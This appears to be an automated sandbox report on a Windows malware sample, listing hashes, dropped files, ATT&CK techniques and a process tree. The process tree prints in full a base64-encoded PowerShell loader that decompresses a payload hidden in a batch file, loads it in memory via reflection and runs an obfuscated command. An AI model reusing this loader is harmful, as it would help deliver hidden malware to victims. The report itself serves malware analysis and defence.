a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075

General

Target
a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe
Size 515KB
Sample240428-b82b4adh61
SHA256 a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075
MD5 3e1fb053e8ca0281a2952fbdced68d1e
SHA1 0af4262bd9b8b2ac335a27aac5211d6242d14884
SHA512 498683b0aa74a335372810d25f6b4456264b3fff17536822ee24adbc560d5932601420c942e4a1dfbf800397c864300fffb14e89b620217321d857f6b0d40cf9
SSDEEP 12288:1fLwLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLPLLLLLLLLLL2:1fLwLLLLLLLLLLLLLLLLLLLLLLLLLLL6
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2732	powershell.exe
2652	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2284 wrote to memory of 1224	2284	a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe	28
PID 2284 wrote to memory of 1224	2284	a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe	28
PID 2284 wrote to memory of 1224	2284	a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe	28
PID 2284 wrote to memory of 1224	2284	a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe	28
PID 1224 wrote to memory of 2140	1224	wscript.exe	29
PID 1224 wrote to memory of 2140	1224	wscript.exe	29
PID 1224 wrote to memory of 2140	1224	wscript.exe	29
PID 1224 wrote to memory of 2140	1224	wscript.exe	29
PID 2140 wrote to memory of 2732	2140	cmd.exe	31
PID 2140 wrote to memory of 2732	2140	cmd.exe	31
PID 2140 wrote to memory of 2732	2140	cmd.exe	31
PID 2140 wrote to memory of 2732	2140	cmd.exe	31
PID 2140 wrote to memory of 2652	2140	cmd.exe	32
PID 2140 wrote to memory of 2652	2140	cmd.exe	32
PID 2140 wrote to memory of 2652	2140	cmd.exe	32
PID 2140 wrote to memory of 2652	2140	cmd.exe	32

C:\Users\Admin\AppData\Local\Temp\a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe
"C:\Users\Admin\AppData\Local\Temp\a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2284
- C:\Windows\SysWOW64\wscript.exe
  "wscript.exe" "C:\Users\Admin\start.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1224
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\temp.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2140
  - - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KIyAiVGhlIHN1cmVzdCB3YXkgdG8gY29ycnVwdCBhIHlvdXRoIGlzIHRvIGluc3RydWN0IGhpbSB0byBob2xkIGluIGhpZ2hlciBlc3RlZW0gdGhvc2Ugd2hvIHRoaW5rIGFsaWtlIHRoYW4gdGhvc2Ugd2hvIHRoaW5rIGRpZmZlcmVudGx5LiINCiMgIkluIGhlYXZlbiwgYWxsIHRoZSBpbnRlcmVzdGluZyBwZW9wbGUgYXJlIG1pc3NpbmcuIg0KIyAiSGUgd2hvIGhhcyBhIHdoeSB0byBsaXZlIGNhbiBiZWFyIGFsbW9zdCBhbnkgaG93LiINCiMgIlRvIGxpdmUgaXMgdG8gc3VmZmVyLCB0byBzdXJ2aXZlIGlzIHRvIGZpbmQgc29tZSBtZWFuaW5nIGluIHRoZSBzdWZmZXJpbmcuIg0KIyAiV2l0aG91dCBtdXNpYywgbGlmZSB3b3VsZCBiZSBhIG1pc3Rha2UuIg0KDQoNCmZ1bmN0aW9uIFJldmVyc2VTdHJpbmcoJGlucHV0U3RyaW5nKSB7DQogICAgJGNoYXJBcnJheSA9ICRpbnB1dFN0cmluZy5Ub0NoYXJBcnJheSgpDQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0NCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheQ0KICAgIHJldHVybiAkcmV2ZXJzZWRTdHJpbmcNCn0NCiMgIlRoZXJlIGlzIGFsd2F5cyBzb21lIG1hZG5lc3MgaW4gbG92ZS4gQnV0IHRoZXJlIGlzIGFsc28gYWx3YXlzIHNvbWUgcmVhc29uIGluIG1hZG5lc3MuIg0KIyAiVGhhdCB3aGljaCBkb2VzIG5vdCBraWxsIHVzIG1ha2VzIHVzIHN0cm9uZ2VyLiINCg0KZnVuY3Rpb24gQ2xvc2UtUHJvY2VzcyB7DQogICAgcGFyYW0oDQogICAgICAgIFtzdHJpbmddJFByb2Nlc3NOYW1lDQogICAgKQ0KDQogICAgJHByb2Nlc3MgPSBHZXQtUHJvY2VzcyAtTmFtZSAkUHJvY2Vzc05hbWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUNCg0KICAgIGlmICgkcHJvY2VzcyAtbmUgJG51bGwpIHsNCiAgICAgICAgU3RvcC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRm9yY2UNCgl9DQp9DQojICJJbiBpbmRpdmlkdWFscywgaW5zYW5pdHkgaXMgcmFyZTsgYnV0IGluIGdyb3VwcywgcGFydGllcywgbmF0aW9ucywgYW5kIGVwb2NocywgaXQgaXMgdGhlIHJ1bGUuIg0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KDQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgImNzZy5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\csg.ps1' -Encoding UTF8"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2732
  - - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\csg.ps1"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

d93f411851d7c929.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Size 7KB
SHA256 901b39e12ac99136823746e771aa608634de15106b4e6d135a0604e9f29c3a57
MD5 4152a515d14f436a0e085f4569af8d3a
SHA1 15704200203d9149666887de8e713ccc2158b607
SHA512 de7acca111c3ec6b163fb7ad4f7200ce4ef9098c5f20f5ae3b80de20b3091e46ea7222b00cd50af66ed7d608f18e81128d86a0a596c3b215a69cf30d9a2a0302
SSDEEP 96:QFKCBM8unqvsqvJCwo2FKCBM8unqvsEHyqvJCworMBGcQHDr7WEXlUVV:UDaUoWDaAHnorM7Kr7WEW
MD5 SHA1 SHA512 SSDEEP

Submit Download

csg.ps1

Path C:\Users\Admin\csg.ps1
Size 2KB
SHA256 40ac09ba5daa614c666e524e6a31369296a718f8eb1117ea46837a1d97091c50
MD5 6a305fb87021b075b47a44410458b25e
SHA1 9607955e06d79187ebc350df3c4f5468e1b97b45
SHA512 670d1690aca73d03495d788547eed6f287afa7938f11d5d450519e77efb3b4d2ba340868521c9a22906cecd230a653013df0b93b2094ab822d995be588260fea
MD5 SHA1 SHA512

Submit Download

start.vbs

Path C:\Users\Admin\start.vbs
Size 170B
SHA256 087f43e7f9f78bbeb1050cdbfaeb3d23ad7b4b742d6ef91229b8824a20daaee6
MD5 65ee9f906fdefca9b4a6a21581dd849f
SHA1 b372dea5a9b9a99311445a55b634aa8f6c1d7b9d
SHA512 1f593864f52ac61f7f4ef2aa1bfcf538dd2833e53bbd931f96c42b2ca90d2bf68545fdac547f0f3cce09ad7734acdb629bf642081227a996d3d22117263ad23a
MD5 SHA1 SHA512

Submit Download

temp.bat

Path C:\Users\Admin\temp.bat
Size 518KB
SHA256 c8ac67ae12680fa0dbfe31a8c76793de12f3ef74f1c5e1f47785f7e5828dd364
MD5 2667b4a8172dd90357d7fb381b1bd5d2
SHA1 7e97cca9d3f29238ca92085405dd477d3323a6f0
SHA512 bdc8954bc23adfe40ce7cd21bb0ecc48a9ea94df170e5f22797c80aef8b5eceabf0d7d69f3d2e3f6d73b7aa77a5b5fef94113fb644394625f18b7d8968997013
SSDEEP 12288:JPK4iHnVY3v1mTxzxKElzjsatwSewkCTs2VKGv:81Y3v1mJYEzIa2LasO
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads